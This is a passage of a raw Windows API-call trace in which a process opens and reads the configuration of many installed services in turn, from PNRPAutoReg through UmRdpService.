lpServiceName="PNRPAutoReg", dwDesiredAccess=0x1) returned 0x8038a0 [0166.099] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.099] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.099] GetLastError () returned 0x7a [0166.099] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x166, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.099] OpenServiceW (hSCManager=0x803918, lpServiceName="PNRPsvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.100] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.100] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.100] GetLastError () returned 0x7a [0166.100] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x158, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.100] OpenServiceW (hSCManager=0x803918, lpServiceName="PolicyAgent", dwDesiredAccess=0x1) returned 0x803990 [0166.100] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.100] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.101] GetLastError () returned 0x7a [0166.101] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x160, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.101] OpenServiceW (hSCManager=0x803918, lpServiceName="Power", dwDesiredAccess=0x1) returned 0x803a80 [0166.101] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.101] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.101] GetLastError () returned 0x7a [0166.101] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0xfa, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.101] OpenServiceW (hSCManager=0x803918, lpServiceName="ProfSvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.102] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.102] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.102] GetLastError () returned 0x7a [0166.102] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x126, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.102] OpenServiceW (hSCManager=0x803918, lpServiceName="ProtectedStorage", dwDesiredAccess=0x1) returned 0x803a30 [0166.102] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.103] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.103] GetLastError () returned 0x7a [0166.103] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0xec, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.103] OpenServiceW (hSCManager=0x803918, lpServiceName="QWAVE", dwDesiredAccess=0x1) returned 0x803990 [0166.103] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.103] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.104] GetLastError () returned 0x7a [0166.104] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x1a8, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.104] OpenServiceW (hSCManager=0x803918, lpServiceName="RasAuto", dwDesiredAccess=0x1) returned 0x803a80 [0166.104] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.104] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.104] GetLastError () returned 0x7a [0166.104] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x14e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.104] OpenServiceW (hSCManager=0x803918, lpServiceName="RasMan", dwDesiredAccess=0x1) returned 0x8038a0 [0166.105] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.105] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.105] GetLastError () returned 0x7a [0166.105] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x138, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.105] OpenServiceW (hSCManager=0x803918, lpServiceName="RemoteAccess", dwDesiredAccess=0x1) returned 0x803a30 [0166.105] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.106] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.106] GetLastError () returned 0x7a [0166.106] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x152, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.106] OpenServiceW (hSCManager=0x803918, lpServiceName="RemoteRegistry", dwDesiredAccess=0x1) returned 0x803990 [0166.106] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.106] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.106] GetLastError () returned 0x7a [0166.106] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x11c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.107] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcEptMapper", dwDesiredAccess=0x1) returned 0x803a80 [0166.107] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.107] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.107] GetLastError () returned 0x7a [0166.107] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x140, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.107] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x1) returned 0x8038a0 [0166.108] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.108] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.108] GetLastError () returned 0x7a [0166.108] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x12a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.108] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcSs", dwDesiredAccess=0x1) returned 0x803a30 [0166.108] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.108] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.109] GetLastError () returned 0x7a [0166.109] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x17e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.109] OpenServiceW (hSCManager=0x803918, lpServiceName="SamSs", dwDesiredAccess=0x1) returned 0x803990 [0166.109] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.109] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.109] GetLastError () returned 0x7a [0166.109] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x12e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.109] OpenServiceW (hSCManager=0x803918, lpServiceName="SCardSvr", dwDesiredAccess=0x1) returned 0x803a80 [0166.110] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.110] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.110] GetLastError () returned 0x7a [0166.110] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x164, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.110] OpenServiceW (hSCManager=0x803918, lpServiceName="Schedule", dwDesiredAccess=0x1) returned 0x8038a0 [0166.110] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.110] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.111] GetLastError () returned 0x7a [0166.111] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x12e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.111] OpenServiceW (hSCManager=0x803918, lpServiceName="SCPolicySvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.111] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.111] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.111] GetLastError () returned 0x7a [0166.111] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x116, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.112] OpenServiceW (hSCManager=0x803918, lpServiceName="SDRSVC", dwDesiredAccess=0x1) returned 0x803990 [0166.112] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.112] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.112] GetLastError () returned 0x7a [0166.112] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0xfe, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.112] OpenServiceW (hSCManager=0x803918, lpServiceName="seclogon", dwDesiredAccess=0x1) returned 0x803a80 [0166.112] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.113] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.113] GetLastError () returned 0x7a [0166.113] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0xf8, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.113] OpenServiceW (hSCManager=0x803918, lpServiceName="SENS", dwDesiredAccess=0x1) returned 0x8038a0 [0166.113] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.113] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.113] GetLastError () returned 0x7a [0166.113] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x14c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.114] OpenServiceW (hSCManager=0x803918, lpServiceName="SensrSvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.114] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.114] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.114] GetLastError () returned 0x7a [0166.114] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x14a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.114] OpenServiceW (hSCManager=0x803918, lpServiceName="SessionEnv", dwDesiredAccess=0x1) returned 0x803990 [0166.115] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.115] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.115] GetLastError () returned 0x7a [0166.115] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x140, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.115] OpenServiceW (hSCManager=0x803918, lpServiceName="SharedAccess", dwDesiredAccess=0x1) returned 0x803a80 [0166.115] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.116] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.116] GetLastError () returned 0x7a [0166.116] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x14e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.116] OpenServiceW (hSCManager=0x803918, lpServiceName="ShellHWDetection", dwDesiredAccess=0x1) returned 0x8038a0 [0166.116] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.116] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.116] GetLastError () returned 0x7a [0166.117] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x12e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.117] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x1) returned 0x803a30 [0166.117] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.117] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.117] GetLastError () returned 0x7a [0166.117] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0xf4, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.117] OpenServiceW (hSCManager=0x803918, lpServiceName="Spooler", dwDesiredAccess=0x1) returned 0x803990 [0166.118] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.118] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.118] GetLastError () returned 0x7a [0166.118] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x10a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.118] OpenServiceW (hSCManager=0x803918, lpServiceName="sppsvc", dwDesiredAccess=0x1) returned 0x803a80 [0166.118] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.118] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.119] GetLastError () returned 0x7a [0166.119] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x112, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.119] OpenServiceW (hSCManager=0x803918, lpServiceName="sppuinotify", dwDesiredAccess=0x1) returned 0x8038a0 [0166.119] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.168] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.168] GetLastError () returned 0x7a [0166.168] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x146, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.168] OpenServiceW (hSCManager=0x803918, lpServiceName="SSDPSRV", dwDesiredAccess=0x1) returned 0x803a30 [0166.168] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.168] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.169] GetLastError () returned 0x7a [0166.169] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x148, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.169] OpenServiceW (hSCManager=0x803918, lpServiceName="SstpSvc", dwDesiredAccess=0x1) returned 0x803990 [0166.169] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.169] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.169] GetLastError () returned 0x7a [0166.169] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x150, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.170] OpenServiceW (hSCManager=0x803918, lpServiceName="stisvc", dwDesiredAccess=0x1) returned 0x803a80 [0166.170] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.170] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.170] GetLastError () returned 0x7a [0166.170] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x15e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.170] OpenServiceW (hSCManager=0x803918, lpServiceName="StorSvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.171] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.171] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.171] GetLastError () returned 0x7a [0166.171] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x122, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.171] OpenServiceW (hSCManager=0x803918, lpServiceName="swprv", dwDesiredAccess=0x1) returned 0x803a30 [0166.171] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.171] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.172] GetLastError () returned 0x7a [0166.172] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x12e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.172] OpenServiceW (hSCManager=0x803918, lpServiceName="SysMain", dwDesiredAccess=0x1) returned 0x803990 [0166.172] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.172] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.172] GetLastError () returned 0x7a [0166.172] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x134, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.172] OpenServiceW (hSCManager=0x803918, lpServiceName="TabletInputService", dwDesiredAccess=0x1) returned 0x803a80 [0166.173] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.173] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.173] GetLastError () returned 0x7a [0166.173] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x15e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.173] OpenServiceW (hSCManager=0x803918, lpServiceName="TapiSrv", dwDesiredAccess=0x1) returned 0x8038a0 [0166.173] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.174] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.174] GetLastError () returned 0x7a [0166.174] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x136, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.174] OpenServiceW (hSCManager=0x803918, lpServiceName="TBS", dwDesiredAccess=0x1) returned 0x803a30 [0166.174] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.174] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.174] GetLastError () returned 0x7a [0166.175] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x146, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.175] OpenServiceW (hSCManager=0x803918, lpServiceName="TermService", dwDesiredAccess=0x1) returned 0x803990 [0166.175] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.175] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.175] GetLastError () returned 0x7a [0166.175] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x14e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.175] OpenServiceW (hSCManager=0x803918, lpServiceName="Themes", dwDesiredAccess=0x1) returned 0x803a80 [0166.176] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.176] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.176] GetLastError () returned 0x7a [0166.176] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x100, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.176] OpenServiceW (hSCManager=0x803918, lpServiceName="THREADORDER", dwDesiredAccess=0x1) returned 0x8038a0 [0166.176] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.176] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.177] GetLastError () returned 0x7a [0166.177] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x12c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.177] OpenServiceW (hSCManager=0x803918, lpServiceName="TrkWks", dwDesiredAccess=0x1) returned 0x803a30 [0166.177] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.177] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.177] GetLastError () returned 0x7a [0166.177] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x14e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.178] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x1) returned 0x803990 [0166.178] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.178] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.178] GetLastError () returned 0x7a [0166.178] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x124, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.178] OpenServiceW (hSCManager=0x803918, lpServiceName="UI0Detect", dwDesiredAccess=0x1) returned 0x803a80 [0166.178] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.179] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.179] GetLastError () returned 0x7a [0166.179] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x104, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.179] OpenServiceW (hSCManager=0x803918, lpServiceName="UmRdpService", dwDesiredAccess=0x1) returned 0x8038a0 [0166.179] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.179] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, 